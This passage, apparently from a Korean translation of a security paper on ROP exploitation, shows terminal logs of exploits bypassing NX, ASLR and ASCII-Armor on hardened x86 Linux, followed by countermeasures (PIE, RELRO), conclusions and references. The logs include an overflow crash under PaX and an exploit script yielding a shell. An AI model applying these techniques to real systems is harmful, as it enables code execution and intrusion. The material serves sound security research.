vuln Loading asm gadgets from file: vuln.ggt... Loaded 58 gadgets ELF base address: 0x8048000 [ useless output ] Len:1524
bash-4.1$ id uid=99(nobody) gid=500(longld) groups=99(nobody),500(longld) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 bash-4.1$ 다른배포판 (e.g: Ubuntu, Hardened Gentoo) 에서는사용할수없는바이트값들을피하기위해페이로드의조정의필요성이요구된다. 이익스플로잇은 Gentoo Hardened에서잘동작한다. jail@gen2 ~/paxtest-0.9.9 $./paxtest blackhat PaXtest - Copyright(c) 2003,2004 by Peter Busser <peter@adamantix.org> Released under the GNU Public Licence version 2 or later Mode: blackhat Linux gen2 2.6.32-hardened-r2rd #5 SMP Tue Mar 9 01:43:46 MYT 2010 i686 Intel(R) Core(TM)2 Duo CPU P8600 @ 2.40GHz GenuineIntel GNU/Linux Executable anonymous mapping : Killed Executable bss : Killed Executable data : Killed Executable heap : Killed Executable stack : Killed Executable shared library bss : Killed Executable shared library data : Killed Executable anonymous mapping (mprotect) : Killed Executable bss (mprotect) : Killed Executable data (mprotect) : Killed Executable heap (mprotect) : Killed Executable stack (mprotect) : Killed Executable shared library bss (mprotect) : Killed Executable shared library data (mprotect): Killed Writable text segments : Killed Anonymous mapping randomisation test : 17 bits (guessed) Heap randomisation test (ET_EXEC) : 23 bits (guessed) Heap randomisation test (PIE) : 23 bits (guessed) Main executable randomisation (ET_EXEC) : 15 bits (guessed) Main executable randomisation (PIE) : 15 bits (guessed) Shared library randomisation test : 17 bits (guessed) Stack randomisation test (SEGMEXEC) : 23 bits (guessed) Stack randomisation test (PAGEEXEC) : 23 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (strcpy, PIE) : Vulnerable Return to function (memcpy, PIE) : Vulnerable
jail@gen2 ~/demo $./vuln `python -c 'print "A"*512'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA Len:512 Killed (core dumped) root@gen2(/) [102]# dmesg tail -3 [247728.241518] PAX: terminating task: /home/jail/demo/vuln(vuln):26476, uid/euid: 1002/1002, PC: 41414141, SP: 5cb07330 [247728.241523] PAX: bytes at PC:???????????????????????????????????????? [247728.241541] PAX: bytes at SP-4: jail@gen2 ~/demo $ /sbin/paxctl -v vuln PaX control v0.5 Copyright 2004,2005,2006,2007 PaX Team <pageexec@freemail.hu> - PaX flags: P-S-M-X-E-R- [vuln] PAGEEXEC is enabled SEGMEXEC is enabled MPROTECT is enabled RANDEXEC is enabled EMUTRAMP is enabled RANDMMAP is enabled jail@gen2 ~/demo $ id uid=1002(jail) gid=1348(jail) groups=1348(jail) jail@gen2 ~/demo $./exploit.py vuln [ useless output ] Len:1524 vuln-user@gen2 /home/jail/demo $ id uid=99(vuln-user) gid=1348(jail) groups=1348(jail)
5 Countermeasures 이기술은 ret-to-libc와리턴할코드의고정된메모리영역이요구되는 ASLR 환경에서의 ROP같은취약한프로그램에서떨어진다. 그리고이기술은위치독립적인실행 (PIE) 바이너리는동작이불가능하다. PIE 바이너리는실행될때어떤메모리영역에서도공유라이브러리가되어로드될수있고공격자가만든 return-to-plt hook에게고정되지않은영역을제공한다. 하지만, 동작에패널티가있고재컴파일을해야하는이유로, 최신의리눅스배포판들에서의바이너리들은 PIE가설정되지않았다. 또한 GOT overwriting 기법은 RELRO로링크되거나읽기전용의 GOT 테이블에 BIND_NOW 옵션이있을경우동작하지않는다. 수년간이옵션이 binutils에서사용이가능했지만, 많은리눅스배포판에서체택되지않는것으로굳혀졌다. 6. Conclusions 이문서에서는 NX, ASLR 그리고 ASCII-Armor가적용된최신의 x86 리눅스배포판들에서스택기반의 BOF 취약점포괄적인기술들을설명했다. 원하는페이로드를전송한커스텀스택의고정된메모리영역재사용그리고데이터의바이트값재사용을통해우리는 ASLR, ASCII-Armor를패배시켰다. ROP 가젯 helper를통해런타임에서의주소를해결하고, NX를우회하는오래된기법인 ret-to-libc로 ASLR이설정된시스템에서도잘동작한다. 이제 x86 리눅스에서의 ROP 익스플로잇은어떤바이너리에서도찾을수있는몇개의가젯들로쉽게할수있다. 바이너리에서가젯들을찾아내고 stage-0에서페이로드를자동화를제작하는자동화된 ROP 툴을개발할수있다. References [1] O. Aleph, Smashing the stack for fun and profit, Phrack Magazine, vol. 7, 1996, p. 49. [2] S. Designer, "return-to-libc" attack, Bugtraq, Aug, 1997. [3] R.N. Wojtczuk, The advanced return-into-lib (c) exploits: PaX case study, Phrack Magazine, Volume 0x0b, Issue 0x3a, Phile# 0x04 of 0x0e, 2001. [4] H. Shacham, The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86), Proceedings of the 14th ACM conference on Computer and communications security, 2007, p. 561. [5] E. Buchanan, R. Roemer, H. Shacham, and S. Savage, When good instructions go bad: Generalizing return-oriented programming to RISC, Proceedings of the 15th ACM conference on Computer and communications security, 2008, pp. 27 38. [6] S. Krahmer, x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique, 2005. [7] T. Kornau, Return oriented programming for the ARM architecture, 2009. [8] A. Francillon and C. Castelluccia, Code injection attacks on harvard-architecture devices, Proceedings of the 15th ACM conference on Computer and communications
security, 2008, pp. 15 26. [9] R. Hund, T. Holz, and F. Freiling, Return-oriented rootkits: Bypassing kernel code integrity protection mechanisms, Proceedings of the 18th USENIX Security Symposium, 2009. [10] H. Shacham, M. Page, B. Pfaff, E.J. Goh, N. Modadugu, and D. Boneh, On the effectiveness of address-space randomization, Proceedings of the 11th ACM conference on Computer and communications security, 2004, pp. 298 307. [11] G.F. Roglia, L. Martignoni, R. Paleari, and D. Bruschi, Surgically Returning to Randomized lib (c), 2009 Annual Computer Security Applications Conference, 2009, pp. 60 69. [12] PaX Team, Homepage of PaX Available: http://pax.grsecurity.net/. [13] U. Drepper, Security enhancements in redhat enterprise linux (beside selinux), 2005. [14] Gentoo Foundation, The Gentoo Hardened Toolchain Available: http://www.gentoo.org/proj/en/hardened/hardened-toolchain.xml.